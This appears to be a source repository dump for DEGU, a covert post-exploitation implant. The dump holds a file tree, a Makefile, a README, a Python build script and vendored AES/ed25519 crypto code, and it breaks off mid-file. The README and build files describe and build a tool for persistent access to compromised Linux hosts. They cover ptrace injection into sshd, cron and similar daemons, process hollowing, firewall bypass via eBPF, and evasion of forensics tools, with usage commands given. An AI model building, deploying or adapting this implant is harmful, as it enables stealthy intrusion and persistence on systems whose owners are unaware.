├── .gitignore
├── .gitmodules
├── CHANGELOG
├── LICENSE
├── Makefile
├── README.md
├── config
├── crypto
├── Makefile
├── aes.c
├── aes.h
├── ed25519.h
├── fe.c
├── fe.h
├── fixedint.h
├── ge.c
├── ge.h
├── key_exchange.c
├── precomp_data.h
├── pub.c
├── sc.c
├── sc.h
├── seed.c
├── sha512.c
├── sha512.h
├── sign.c
└── verify.c
├── degu-client
├── README.md
├── dgu
├── helpers
│ └── ssh
│ │ ├── degussh.go
│ │ ├── degussh.py
│ │ ├── go.mod
│ │ ├── go.sum
│ │ ├── handlers.go
│ │ └── vpn.go
└── html
│ └── degu.html
├── degu.png
├── degu.tmpl.py
├── degu
├── Makefile
├── degu.h
├── degu.txt
├── inject.c
├── key.c
├── knock.c
├── log.c
├── main.c
├── ops.c
├── user.c
└── wrap.c
├── injector
├── include
│ └── injector.h
└── src
│ └── linux
│ ├── Makefile
│ ├── elf.c
│ ├── injector.c
│ ├── injector_internal.h
│ ├── ptrace.c
│ ├── remote_call.c
│ ├── shellcode.S
│ └── util.c
├── keys.h
├── p2s
└── pie2so.c
└── ulexec
├── Makefile
├── exec.c
├── map_elf.c
├── map_elf.h
├── reflect.h
├── reflect_common.h
└── stack_setup.c
/.gitignore:
--------------------------------------------------------------------------------
1 | *.o
2 | *.so
3 | *.a
4 | .vscode
5 | .gdb_history
6 | *.pyc
7 | __pycache__
8 | TODO
9 | degu-client/helpers/ssh/keys/*
10 | degu-client/helpers/pty
11 | .env
12 |
--------------------------------------------------------------------------------
/.gitmodules:
--------------------------------------------------------------------------------
1 | [submodule "injector"]
2 | path = injector
3 | url = https://github.com/kubo/injector
4 | [submodule "degu-client"]
5 | path = degu-client
6 | url = https://github.com/io-tl/degu-client
7 |
--------------------------------------------------------------------------------
/CHANGELOG:
--------------------------------------------------------------------------------
1 | 0.0.2 degu merry christmas edition
2 | * added userland execution
3 | * added fd reuse for helpers for inetd like execution
4 | * added non root usage
5 | * added key recovery sym for client part
6 | * corrected multiples bugs
7 |
8 | 0.0.1 degu firstblood
9 | * initial release
10 |
11 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | #CC = clang
2 | CC = gcc
3 | CLFAGS =
4 | LDFLAGS = -Wl,--wrap=memcpy -Wl,--wrap=realpath -Wl,--wrap=__isoc99_sscanf -Wl,--wrap=vsscanf \
5 | -Wl,--wrap=__isoc99_vsscanf -Wl,--wrap=stat -Wl,--wrap=__libc_start_main -Wl,--wrap=regexec \
6 | -Wl,--wrap=getauxval -Wl,--wrap=fstat -Wl,--wrap=gnu_dev_makedev -Wl,--wrap=glob \
7 | -Wl,--wrap=__isoc99_fscanf -Wl,--wrap=vfscanf
8 |
9 | export CFLAGS
10 | export LDFLAGS
11 | ifeq ($(DEBUG),yes)
12 | CFLAGS += -Wall -fPIC -fno-stack-protector -ggdb -g -DDEBUG
13 | LDFLAGS += -Wl,-E -pie
14 | else ifeq ($(ANALYZER),yes)
15 | CFLAGS += -Wall -fPIC -fno-stack-protector -ggdb -g -DDEBUG -fanalyzer -fsanitize=address
16 | LDFLAGS += -Wl,-E -pie -lasan
17 | else
18 | CFLAGS += -Wall -fPIC -fno-stack-protector -fvisibility=hidden -Wno-unused-value -Os -DPROD=1
19 | LDFLAGS += -g -Wl,-E -s -pie
20 | endif
21 |
22 | .PHONY: degu
23 | VERSION=0.0.3
24 |
25 | export CFLAGS
26 | export LDFLAGS
27 |
28 | all:logo crypto/degucrypto.a injector/src/linux/libinjector.a ulexec/ulexe.a degu link
29 |
30 | logo:
31 | @cat degu/degu.txt
32 | @echo DEGU ${VERSION}
33 |
34 | crypto/degucrypto.a:
35 | @$(MAKE) -C crypto
36 |
37 | injector/src/linux/libinjector.a:
38 | @echo Building injector
39 | @$(CC) -c injector/src/linux/shellcode.S -o injector/src/linux/shellcode.o
40 | @$(CC) $(CFLAGS) -c injector/src/linux/elf.c -I injector/include -o injector/src/linux/elf.o -Wno-maybe-uninitialized
41 | @$(CC) $(CFLAGS) -c injector/src/linux/injector.c -I injector/include -o injector/src/linux/injector.o
42 | @$(CC) $(CFLAGS) -c injector/src/linux/ptrace.c -I injector/include -o injector/src/linux/ptrace.o
43 | @$(CC) $(CFLAGS) -c injector/src/linux/remote_call.c -I injector/include -o injector/src/linux/remote_call.o
44 | @$(CC) $(CFLAGS) -c injector/src/linux/util.c -I injector/include -o injector/src/linux/util.o
45 | @ar rcs injector/src/linux/libinjector.a injector/src/linux/elf.o injector/src/linux/injector.o \
46 | injector/src/linux/ptrace.o injector/src/linux/remote_call.o injector/src/linux/util.o injector/src/linux/shellcode.o
47 |
48 |
49 | ulexec/ulexe.a:
50 | @$(MAKE) -C ulexec
51 |
52 | degu:
53 | @$(MAKE) -C degu
54 |
55 | link:
56 | @$(CC) p2s/pie2so.c -o pie2so
57 | @./pie2so degu.pie && mv degu.pie.so degu.so
58 | @rm -f pie2so degu.pie
59 | @strip degu.so
60 | @ls -al degu.so
61 |
62 | clean:
63 | @$(RM) -f injector/src/linux/libinjector.a injector/src/linux/elf.o injector/src/linux/injector.o \
64 | injector/src/linux/ptrace.o injector/src/linux/remote_call.o injector/src/linux/util.o \
65 | injector/src/linux/shellcode.o
66 | @make -C crypto clean
67 | @make -C ulexec clean
68 | @make -C degu clean
69 | @$(RM) -f degu.so
70 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # DEGU: Advanced Stealth Userland Kit
2 | **EDUCATIONAL PURPOSES ONLY. USE EXCLUSIVELY ON YOUR OWN SYSTEMS.**
3 |
4 |
5 |
6 |
7 |
8 | * [Overview](#overview)
9 | * [Requirements](#requirements)
10 | * [Quick Start](#quick-start)
11 | * [Technical Architecture](#technical-architecture)
12 | * [Usage](#usage)
13 | * [Building](#building)
14 | * [Troubleshooting](#troubleshooting)
15 | * [Debugging](#debugging)
16 | * [Container Considerations](#container-considerations)
17 | * [Client API](#client-api)
18 |
19 |
20 | ## Overview
21 |
22 | DEGU is a sophisticated stealth userland kit designed for covert operation for red teaming without requiring sys_clone/sys_execve calls as root. Developed primarily for red team operations, it enables persistent access to compromised assets while evading common detection mechanisms.
23 |
24 | ### Key Features
25 |
26 | - **Evasion Capabilities**: Bypasses detection by conventional anti-rootkit tools and forensics frameworks including Volatility
27 | - **Firewall Circumvention**: As root, bypasses netfilter rules using raw ethernet eBPF rules
28 | - **Process Parasiting**: As root, it can inject into userland process or use process hollowing as user
29 | - **Static Executable Launching**: Uses ulexec to launch static executables ( 🐁 ♥ Rust & Go ) inside parasited processes
30 | - **Python API**: Provides seamless automation capabilities
31 |
32 | ## Requirements
33 |
34 | - OpenSSH (for ssh-keygen binary)
35 | - Python 3
36 | - Golang
37 | - GCC toolchain
38 |
39 | ## Quick Start
40 |
41 | ```bash
42 | git clone https://github.com/io-tl/degu-lib
43 | cd degu-lib
44 | ./config -r -s build
45 | ```
46 |
47 | ## Technical Architecture
48 |
49 | DEGU operates as an "autorelocatable" executable library that uses signals to execute within parasitized processes without requiring fork, thread creation, or function hooking.
50 |
51 | Security features include:
52 | - Elliptic curve cryptography (ed25519) for message signing and key exchange
53 | - AES session encryption
54 | - Process hollowing for stealth execution
55 | - UDP/Raw ethernet packet communication
56 |
57 | ## Usage
58 |
59 | ### Root Mode
60 |
61 | As root, DEGU can inject into existing processes using ptrace and wait for activation commands.
62 |
63 | ```bash
64 | # Basic usage (auto-selects from candidate process list)
65 | ./degu.prod.so
66 |
67 | # Target a specific process
68 | ./degu.prod.so
69 |
70 | # Alternative: Use LD_PRELOAD (spawns a visible process)
71 | LD_PRELOAD=/root/degu.dbg.so /bin/ls
72 | ```
73 |
74 | You can edit the list of candidate processes in `degu/main.c`:
75 |
76 | ```c
77 | #define CANDSIZE 11
78 | char *candidate[CANDSIZE]= {
79 | "udev",
80 | "cron",
81 | "udisksd",
82 | "syslog",
83 | "containerd",
84 | "sshd",
85 | "getty",
86 | "agetty",
87 | "dhcp",
88 | "master",
89 | NULL
90 | };
91 | ```
92 |
93 | ### User Mode
94 |
95 | As a regular user, DEGU can listen on a non-privileged UDP port:
96 |
97 | ```bash
98 | # Parasite an executable and launch
99 | ./degu.dbg.so
100 |
101 | # Example
102 | ./degu.dbg.so 31337 /bin/ls
103 |
104 | # Standalone without parasiting
105 | ./degu.dbg.so
106 |
107 | # Using LD_PRELOAD
108 | PORT=31337 LD_PRELOAD=/path/to/degu.dbg.so /bin/ls
109 | ```
110 |
111 | ## Building
112 |
113 | The `./config` script generates necessary keys and builds the DEGU components:
114 |
115 | ```bash
116 | ./config -r -s build
117 | ```
118 |
119 | Options:
120 | - `-d, --dest DEST`: Output directory (default: /tmp/degu)
121 | - `-r, --rand`: Generate new keys.h (required for first build)
122 | - `-s, --ssh`: Generate new SSH keys (required for first build)
123 | - `-f, --force`: Overwrite existing libraries
124 | - `-v, --verbose`: Enable verbose output
125 |
126 | ## Troubleshooting
127 |
128 | DEGU may output error codes with specific emoticons:
129 |
130 | | Symbol | Description | Error Code |
131 | |--------|-------------|------------|
132 | | `3<` | Attach failed - couldn't attach via ptrace | -101 |
133 | | `:(` | Injection failed - couldn't write to process memory | -102 |
134 | | `:/` | Seccomp error - target has too restrictive seccomp policy | -103 |
135 | | `:\` | Deleted libs error - dlopen invocation would fail | -104 |
136 | | `?` | Parasiting error - not an ELF or insufficient memory | -105 |
137 |
138 | ## Debugging
139 |
140 | The `degu.dbg.so` library outputs debug messages to `/tmp/debug`. For operational security, use `degu.prod.so` in production environments.
141 |
142 | ## Container Considerations
143 |
144 | Be cautious when using in containerized environments, as ptrace syscalls may be restricted:
145 |
146 | ```
147 | [269197.431639] ptrace attach of "sshd: /usr/sbin/sshd [listener] 0 of 10-100 startups"[986278] was attempted by "./degu.dbg.so"[986385]
148 | ```
149 |
150 | In such cases, consider using the LD_PRELOAD method instead.
151 |
152 | ## Client API
153 |
154 | For documentation on client usage and API functionality, see the separate client README.md.
155 |
156 | ---
157 |
158 | *DEGU is designed for authorized security testing only. Unauthorized use against systems you don't own is illegal and unethical.*
159 |
--------------------------------------------------------------------------------
/config:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | import sys
3 | import os
4 | import re
5 | import argparse
6 | import subprocess
7 | import logging
8 | import binascii
9 | import random
10 | import string
11 | import time
12 | import ctypes
13 | import zlib
14 | import base64
15 | import shutil
16 |
17 | DEFAULT_OUTPUT = "/tmp/degu"
18 | PRODLIB = "degu.prod.so"
19 | DEBUGLIB = "degu.dbg.so"
20 | OUTLIB = "degu.so"
21 |
22 | LEVEL = logging.INFO
23 |
24 |
25 | class LogFmt(logging.Formatter):
26 | """Class for log formatting."""
27 |
28 | def format_time(self) -> str:
29 | """Format time."""
30 | return time.strftime("%H:%M.%S")
31 |
32 | def _l(self, level: str) -> tuple:
33 | clevel = {
34 | "DEBUG": ("\033[0;36m", "\033[1;36m"),
35 | "INFO": ("\033[0;35m", "\033[1;32m"),
36 | "WARNING": ("\033[0;31m", "\033[1;31m"),
37 | "CRITICAL": ("\033[0;31m", "\033[1;31m"),
38 | "ERROR": ("\033[0;31m", "\033[1;31m"),
39 | }
40 | return clevel[level]
41 |
42 | def format(self, record: logging.LogRecord) -> str:
43 | header = (
44 | f"{self._l(record.levelname)[0]}[{self._l(record.levelname)[1]}"
45 | f"{self.format_time()}{self._l(record.levelname)[0]}]"
46 | f"%8s" % record.levelname + self._l(record.levelname)[1] +
47 | " [%-5s]: " % record.name + "\033[0m"
48 | )
49 |
50 | return header + record.msg
51 |
52 |
53 | log = logging.getLogger('config')
54 | log.setLevel(LEVEL)
55 | ch = logging.StreamHandler()
56 | ch.setFormatter(LogFmt())
57 | log.addHandler(ch)
58 |
59 |
60 | def ex(build: list) -> subprocess.CompletedProcess:
61 | try:
62 | ret = subprocess.run(
63 | build,
64 | shell=True,
65 | capture_output=True,
66 | check=True
67 | )
68 | log.debug(ret.stdout.decode())
69 | return ret
70 | except subprocess.CalledProcessError as e:
71 | log.error(f"error command : {' '.join(build)}")
72 | log.error("\n" + e.stderr.decode().strip())
73 | sys.exit(-1)
74 |
75 | def b64degu(lib: str) -> str:
76 | with open(lib, "rb") as f:
77 | lib = f.read()
78 | clib = zlib.compress(lib)
79 | blib = base64.b64encode(clib)
80 | return blib.decode()
81 |
82 |
83 | def check_files(args: argparse.Namespace) -> None:
84 | dest = args.dest if args.dest else DEFAULT_OUTPUT
85 | if not os.path.exists(dest):
86 | os.mkdir(dest, 0o700)
87 | os.mkdir(dest+"/client", 0o700)
88 |
89 | erase = any(os.path.exists(f"{dest}/{file}") for file in [PRODLIB, DEBUGLIB])
90 | if not args.force and erase:
91 | r = input("Remove libs? (y/n) ")
92 | if r.lower() != "y":
93 | sys.exit()
94 |
95 | def clean_degu() -> None:
96 | log.debug("Cleaning degu")
97 | ex(["make clean"])
98 |
99 | def build_debug(dest) -> None:
100 | log.debug("Building debug degu")
101 | ex(["DEBUG=yes make"])
102 | shutil.copyfile(OUTLIB, f"{dest}/{DEBUGLIB}")
103 | os.chmod(f"{dest}/{DEBUGLIB}", 0o755)
104 | log.info(f"build {dest}/{DEBUGLIB}")
105 |
106 |
107 | def build_prod(dest) -> None:
108 | log.debug("Building prod degu")
109 | ex(["make"])
110 | shutil.copyfile(OUTLIB, f"{dest}/{PRODLIB}")
111 | os.chmod(f"{dest}/{PRODLIB}", 0o755)
112 | log.info(f"build {dest}/{PRODLIB}")
113 |
114 |
115 | def build_ssh(dest) -> None:
116 | log.debug("Building ssh helper")
117 | wd = os.getcwd()
118 | os.chdir("degu-client/helpers/ssh")
119 | ex([f'CGO_ENABLED=0 go build -ldflags "-w" -o {dest}/client/degussh'])
120 | os.chdir(wd)
121 | log.info(f"build {dest}/client/degussh")
122 |
123 |
124 | def getpriv() -> str:
125 | with open("keys.h") as f:
126 | keys = f.read()
127 | match = re.search(r'PRIVATE_KEY="([a-f0-9]+)"', keys)
128 | return match.group(1) if match else ''
129 |
130 | def ssh_keygen(regen = False) -> None:
131 | sshkeys_path="degu-client/helpers/ssh/keys"
132 |
133 | if regen:
134 | ex([f"rm -rf {sshkeys_path}/keydegussh {sshkeys_path}/keydegussh.pub {sshkeys_path}/hostkey {sshkeys_path}/hostkey.pub "])
135 |
136 | if not os.path.exists(f"{sshkeys_path}"):
137 | os.mkdir(f"{sshkeys_path}", 0o700)
138 |
139 | if not os.path.exists(f"{sshkeys_path}/keydegussh"):
140 | log.debug("generating ssh key")
141 | ex([f'ssh-keygen -t ed25519 -f {sshkeys_path}/keydegussh -N "" -C ""'])
142 |
143 | if not os.path.exists(f"{sshkeys_path}/hostkey"):
144 | log.debug("generating ssh hostkey")
145 | ex([f'ssh-keygen -t ed25519 -f {sshkeys_path}/hostkey -N "" -C ""'])
146 |
147 |
148 | def keygen(dest: str) -> None:
149 | log.info("Generating new keys.h")
150 | build_prod(dest)
151 | file_path = '/tmp/.' + ''.join(random.choices(string.ascii_uppercase + string.digits, k=6))
152 | lib = ctypes.CDLL(f"./{OUTLIB}")
153 | lib.keygen(file_path.encode())
154 |
155 | with open(file_path, "rb") as f:
156 | toexec = f.read()
157 | exec(toexec, globals())
158 | os.unlink(file_path)
159 | iv_hex = ["0x%02x" % c for c in binascii.unhexlify(iv)]
160 | knock_hex = ["0x%02x" % c for c in binascii.unhexlify(knock)]
161 | pub_hex = ["0x%02x" % c for c in binascii.unhexlify(pub)]
162 |
163 | new_keys_content = (
164 | f"#define IV {{ {','.join(iv_hex)} }}\n"
165 | f"#define KNOCK_KEY {{ {','.join(knock_hex)} }}\n"
166 | f"#define MASTER_PUBKEY {{ {','.join(pub_hex)} }}\n\n"
167 | f'// PRIVATE_KEY="{priv}"\n'
168 | )
169 |
170 | if os.path.exists("keys.h"):
171 | overwrite = input("Are you sure you want to overwrite existing keys.h? (y/n) ")
172 | if overwrite.lower() != "y":
173 | sys.exit()
174 |
175 | log.debug("Writing new keys.h")
176 |
177 | with open("keys.h", "w") as f:
178 | f.write(new_keys_content)
179 |
180 | print(new_keys_content)
181 |
182 |
183 | def make(args: argparse.Namespace, parser: argparse.ArgumentParser) -> None:
184 | dest = args.dest if args.dest else DEFAULT_OUTPUT
185 | check_files(args)
186 |
187 | if args.rand:
188 | keygen(dest)
189 | if args.ssh:
190 | ssh_keygen(regen=True)
191 |
192 | clean_degu()
193 |
194 | if args.build == "build":
195 | build_debug(dest)
196 | clean_degu()
197 | build_prod(dest)
198 |
199 | build_ssh(dest)
200 |
201 | b64lib = b64degu(OUTLIB)
202 | clean_degu()
203 |
204 | with open("degu.tmpl.py") as f:
205 | degupy_template = f.read()
206 | degupy_content = degupy_template.replace("@@BASE64@@", b64lib).replace("@@PRIV@@", getpriv())
207 | with open(f"{dest}/client/degu.py", "w") as f:
208 | f.write(degupy_content)
209 | log.info(f"generating {dest}/client/degu.py")
210 |
211 | shutil.copyfile("keys.h",f"{dest}/client/keys.h")
212 | log.info(f"wrote {dest}/client/keys.h")
213 |
214 | shutil.copyfile("degu-client/helpers/ssh/degussh.py",f"{dest}/client/degussh.py")
215 | log.info(f"wrote {dest}/client/degussh.py")
216 | os.chmod(f"{dest}/client/degussh.py", 0o755)
217 |
218 | shutil.copyfile("degu-client/helpers/ssh/keys/keydegussh",f"{dest}/client/keydegussh")
219 | os.chmod(f"{dest}/client/keydegussh", 0o600)
220 |
221 | log.info(f"wrote {dest}/client/keydegussh")
222 |
223 | shutil.copyfile("degu-client/dgu",f"{dest}/client/dgu")
224 | log.info(f"wrote {dest}/client/dgu")
225 |
226 | else:
227 | parser.print_help()
228 |
229 | def command() -> None:
230 | parser = argparse.ArgumentParser(description="DEGU build tool")
231 | parser.add_argument('build', help="Build degu libs and produce python module")
232 | parser.add_argument('-d', '--dest', type=str, help=f"Output directory (default {DEFAULT_OUTPUT})")
233 | parser.add_argument('-r', '--rand', action='store_true', help="Generate new keys.h")
234 | parser.add_argument('-s', '--ssh', action='store_true', help="Generate new ssh keys")
235 | parser.add_argument('-f', '--force', action='store_true', help="Overwrite libraries")
236 | parser.add_argument('-v', '--verbose', action='store_true', help=f"Verbose output")
237 |
238 | args = parser.parse_args()
239 |
240 | if args.verbose:
241 | log.setLevel(logging.DEBUG)
242 |
243 | make(args, parser)
244 |
245 |
246 | if __name__ == "__main__":
247 | command()
248 |
--------------------------------------------------------------------------------
/crypto/Makefile:
--------------------------------------------------------------------------------
1 | CFLAGS += -Wall -fPIC -I.
2 |
3 | CRYPTO=$(wildcard *.c)
4 | CRYPTO_OBJS=$(CRYPTO:.c=.o)
5 |
6 | all: degucrypto.a
7 |
8 | degucrypto.a: $(CRYPTO_OBJS)
9 | @$(AR) rcs degucrypto.a $(CRYPTO_OBJS)
10 |
11 | %.o : %.c
12 | @echo CC $<
13 | @$(CC) $(CFLAGS) -c $<
14 |
15 | clean:
16 | @$(RM) *.o
17 | @$(RM) degucrypto.a $(INJECTOR_OBJS)
18 |
19 |
--------------------------------------------------------------------------------
/crypto/aes.h:
--------------------------------------------------------------------------------
1 | #ifndef _AES_H_
2 | #define _AES_H_
3 |
4 | #include
5 |
6 | // #define the macros below to 1/0 to enable/disable the mode of operation.
7 | //
8 | // CBC enables AES encryption in CBC-mode of operation.
9 | // CTR enables encryption in counter-mode.
10 | // ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously.
11 |
12 | // The #ifndef-guard allows it to be configured before #include'ing or at compile time.
13 | #ifndef CBC
14 | #define CBC 0
15 | #endif
16 |
17 | #ifndef ECB
18 | #define ECB 0
19 | #endif
20 |
21 | #ifndef CTR
22 | #define CTR 1
23 | #endif
24 |
25 |
26 | //#define AES128 1
27 | //#define AES192 1
28 | #define AES256 1
29 |
30 | #define AES_BLOCKLEN 16 // Block length in bytes - AES is 128b block only
31 |
32 | #if defined(AES256) && (AES256 == 1)
33 | #define AES_KEYLEN 32
34 | #define AES_keyExpSize 240
35 | #elif defined(AES192) && (AES192 == 1)
36 | #define AES_KEYLEN 24
37 | #define AES_keyExpSize 208
38 | #else
39 | #define AES_KEYLEN 16 // Key length in bytes
40 | #define AES_keyExpSize 176
41 | #endif
42 |
43 | struct AES_ctx
44 | {
45 | uint8_t RoundKey[AES_keyExpSize];
46 | #if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
47 | uint8_t Iv[AES_BLOCKLEN];
48 | #endif
49 | };
50 |
51 | void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key);
52 | #if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
53 | void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv);
54 | void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv);
55 | #endif
56 |
57 | #if defined(ECB) && (ECB == 1)
58 | // buffer size is exactly AES_BLOCKLEN bytes;
59 | // you need only AES_init_ctx as IV is not used in ECB
60 | // NB: ECB is considered insecure for most uses
61 | void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf);
62 | void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf);
63 |
64 | #endif // #if defined(ECB) && (ECB == !)
65 |
66 |
67 | #if defined(CBC) && (CBC == 1)
68 | // buffer size MUST be mutile of AES_BLOCKLEN;
69 | // Suggest https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme
70 | // NOTES: you need to set IV in ctx via AES_init_ctx_iv() or AES_ctx_set_iv()
71 | // no IV should ever be reused with the same key
72 | void AES_CBC_encrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, uint32_t length);
73 | void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, uint32_t length);
74 |
75 | #endif // #if defined(CBC) && (CBC == 1)
76 |
77 |
78 | #if defined(CTR) && (CTR == 1)
79 |
80 | // Same function for encrypting as for decrypting.
81 | // IV is incremented for every block, and used after encryption as XOR-compliment for output
82 | // Suggesting https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme
83 | // NOTES: you need to set IV in ctx with AES_init_ctx_iv() or AES_ctx_set_iv()
84 | // no IV should ever be reused with the same key
85 | void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, uint32_t length);
86 |
87 | #endif // #if defined(CTR) && (CTR == 1)
88 |
89 |
90 | #endif // _AES_H_
91 |
--------------------------------------------------------------------------------
/crypto/ed25519.h:
--------------------------------------------------------------------------------
1 | #ifndef ED25519_H
2 | #define ED25519_H
3 |
4 | #include
5 |
6 | #if defined(_WIN32)
7 | #if defined(ED25519_BUILD_DLL)
8 | #define ED25519_DECLSPEC __declspec(dllexport)
9 | #elif defined(ED25519_DLL)
10 | #define ED25519_DECLSPEC __declspec(dllimport)
11 | #else
12 | #define ED25519_DECLSPEC
13 | #endif
14 | #else
15 | #define ED25519_DECLSPEC
16 | #endif
17 |
18 |
19 | #ifdef __cplusplus
20 | extern "C" {
21 | #endif
22 |
23 | #ifndef ED25519_NO_SEED
24 | int ED25519_DECLSPEC ed25519_create_seed(unsigned char *seed);
25 | #endif
26 |
27 | void ED25519_DECLSPEC ed25519_create_keypair(unsigned char *public_key, unsigned char *private_key, const unsigned char *seed);
28 | void ED25519_DECLSPEC ed25519_sign(unsigned char *signature, const unsigned char *message, size_t message_len, const unsigned char *public_key, const unsigned char *private_key);
29 | int ED25519_DECLSPEC ed25519_verify(const unsigned char *signature, const unsigned char *message, size_t message_len, const unsigned char *public_key);
30 | void ED25519_DECLSPEC ed25519_add_scalar(unsigned char *public_key, unsigned char *private_key, const unsigned char *scalar);
31 | void ED25519_DECLSPEC ed25519_key_exchange(unsigned char *shared_secret, const unsigned char *public_key, const unsigned char *private_key);
32 |
33 |
34 | #ifdef __cplusplus
35 | }
36 | #endif
37 |
38 | #endif
39 |
--------------------------------------------------------------------------------
/crypto/fe.h:
--------------------------------------------------------------------------------
1 | #ifndef FE_H
2 | #define FE_H
3 |
4 | #include "fixedint.h"
5 |
6 |
7 | /*
8 | fe means field element.
9 | Here the field is \Z/(2^255-19).
10 | An element t, entries t[0]...t[9], represents the integer
11 | t[0]+2^26 t[1]+2^51 t[2]+2^77 t[3]+2^102 t[4]+...+2^230 t[9].
12 | Bounds on each t[i] vary depending on context.
13 | */
14 |
15 |
16 | typedef int32_t fe[10];
17 |
18 |
19 | void fe_0(fe h);
20 | void fe_1(fe h);
21 |
22 | void fe_frombytes(fe h, const unsigned char *s);
23 | void fe_tobytes(unsigned char *s, const fe h);
24 |
25 | void fe_copy(fe h, const fe f);
26 | int fe_isnegative(const fe f);
27 | int fe_isnonzero(const fe f);
28 | void fe_cmov(fe f, const fe g, unsigned int b);
29 | void fe_cswap(fe f, fe g, unsigned int b);
30 |
31 | void fe_neg(fe h, const fe f);
32 | void fe_add(fe h, const fe f, const fe g);
33 | void fe_invert(fe out, const fe z);
34 | void fe_sq(fe h, const fe f);
35 | void fe_sq2(fe h, const fe f);
36 | void fe_mul(fe h, const fe f, const fe g);
37 | void fe_mul121666(fe h, fe f);
38 | void fe_pow22523(fe out, const fe z);
39 | void fe_sub(fe h, const fe f, const fe g);
40 |
41 | #endif
42 |
--------------------------------------------------------------------------------
/crypto/fixedint.h:
--------------------------------------------------------------------------------
1 | /*
2 | Portable header to provide the 32 and 64 bits type.
3 |
4 | Not a compatible replacement for , do not blindly use it as such.
5 | */
6 |
7 | #if ((defined(__STDC__) && __STDC__ && __STDC_VERSION__ >= 199901L) || (defined(__WATCOMC__) && (defined(_STDINT_H_INCLUDED) || __WATCOMC__ >= 1250)) || (defined(__GNUC__) && (defined(_STDINT_H) || defined(_STDINT_H_) || defined(__UINT_FAST64_TYPE__)) )) && !defined(FIXEDINT_H_INCLUDED)
8 | #include
9 | #define FIXEDINT_H_INCLUDED
10 |
11 | #if defined(__WATCOMC__) && __WATCOMC__ >= 1250 && !defined(UINT64_C)
12 | #include
13 | #define UINT64_C(x) (x + (UINT64_MAX - UINT64_MAX))
14 | #endif
15 | #endif
16 |
17 |
18 | #ifndef FIXEDINT_H_INCLUDED
19 | #define FIXEDINT_H_INCLUDED
20 |
21 | #include
22 |
23 | /* (u)int32_t */
24 | #ifndef uint32_t
25 | #if (ULONG_MAX == 0xffffffffUL)
26 | typedef unsigned long uint32_t;
27 | #elif (UINT_MAX == 0xffffffffUL)
28 | typedef unsigned int uint32_t;
29 | #elif (USHRT_MAX == 0xffffffffUL)
30 | typedef unsigned short uint32_t;
31 | #endif
32 | #endif
33 |
34 |
35 | #ifndef int32_t
36 | #if (LONG_MAX == 0x7fffffffL)
37 | typedef signed long int32_t;
38 | #elif (INT_MAX == 0x7fffffffL)
39 | typedef signed int int32_t;
40 | #elif (SHRT_MAX == 0x7fffffffL)
41 | typedef signed short int32_t;
42 | #endif
43 | #endif
44 |
45 |
46 | /* (u)int64_t */
47 | #if (defined(__STDC__) && defined(__STDC_VERSION__) && __STDC__ && __STDC_VERSION__ >= 199901L)
48 | typedef long long int64_t;
49 | typedef unsigned long long uint64_t;
50 |
51 | #define UINT64_C(v) v ##ULL
52 | #define INT64_C(v) v ##LL
53 | #elif defined(__GNUC__)
54 | __extension__ typedef long long int64_t;
55 | __extension__ typedef unsigned long long uint64_t;
56 |
57 | #define UINT64_C(v) v ##ULL
58 | #define INT64_C(v) v ##LL
59 | #elif defined(__MWERKS__) || defined(__SUNPRO_C) || defined(__SUNPRO_CC) || defined(__APPLE_CC__) || defined(_LONG_LONG) || defined(_CRAYC)
60 | typedef long long int64_t;
61 | typedef unsigned long long uint64_t;
62 |
63 | #define UINT64_C(v) v ##ULL
64 | #define INT64_C(v) v ##LL
65 | #elif (defined(__WATCOMC__) && defined(__WATCOM_INT64__)) || (defined(_MSC_VER) && _INTEGRAL_MAX_BITS >= 64) || (defined(__BORLANDC__) && __BORLANDC__ > 0x460) || defined(__alpha) || defined(__DECC)
66 | typedef __int64 int64_t;
67 | typedef unsigned __int64 uint64_t;
68 |
69 | #define UINT64_C(v) v ##UI64
70 | #define INT64_C(v) v ##I64
71 | #endif
72 | #endif
73 |
--------------------------------------------------------------------------------
/crypto/ge.c:
--------------------------------------------------------------------------------
1 | #include "ge.h"
2 | #include "precomp_data.h"
3 |
4 |
5 | /*
6 | r = p + q
7 | */
8 |
9 | void ge_add(ge_p1p1 *r, const ge_p3 *p, const ge_cached *q) {
10 | fe t0;
11 | fe_add(r->X, p->Y, p->X);
12 | fe_sub(r->Y, p->Y, p->X);
13 | fe_mul(r->Z, r->X, q->YplusX);
14 | fe_mul(r->Y, r->Y, q->YminusX);
15 | fe_mul(r->T, q->T2d, p->T);
16 | fe_mul(r->X, p->Z, q->Z);
17 | fe_add(t0, r->X, r->X);
18 | fe_sub(r->X, r->Z, r->Y);
19 | fe_add(r->Y, r->Z, r->Y);
20 | fe_add(r->Z, t0, r->T);
21 | fe_sub(r->T, t0, r->T);
22 | }
23 |
24 |
25 | static void slide(signed char *r, const unsigned char *a) {
26 | int i;
27 | int b;
28 | int k;
29 |
30 | for (i = 0; i < 256; ++i) {
31 | r[i] = 1 & (a[i >> 3] >> (i & 7));
32 | }
33 |
34 | for (i = 0; i < 256; ++i)
35 | if (r[i]) {
36 | for (b = 1; b <= 6 && i + b < 256; ++b) {
37 | if (r[i + b]) {
38 | if (r[i] + (r[i + b] << b) <= 15) {
39 | r[i] += r[i + b] << b;
40 | r[i + b] = 0;
41 | } else if (r[i] - (r[i + b] << b) >= -15) {
42 | r[i] -= r[i + b] << b;
43 |
44 | for (k = i + b; k < 256; ++k) {
45 | if (!r[k]) {
46 | r[k] = 1;
47 | break;
48 | }
49 |
50 | r[k] = 0;
51 | }
52 | } else {
53 | break;
54 | }
55 | }
56 | }
57 | }
58 | }
59 |
60 | /*
61 | r = a * A + b * B
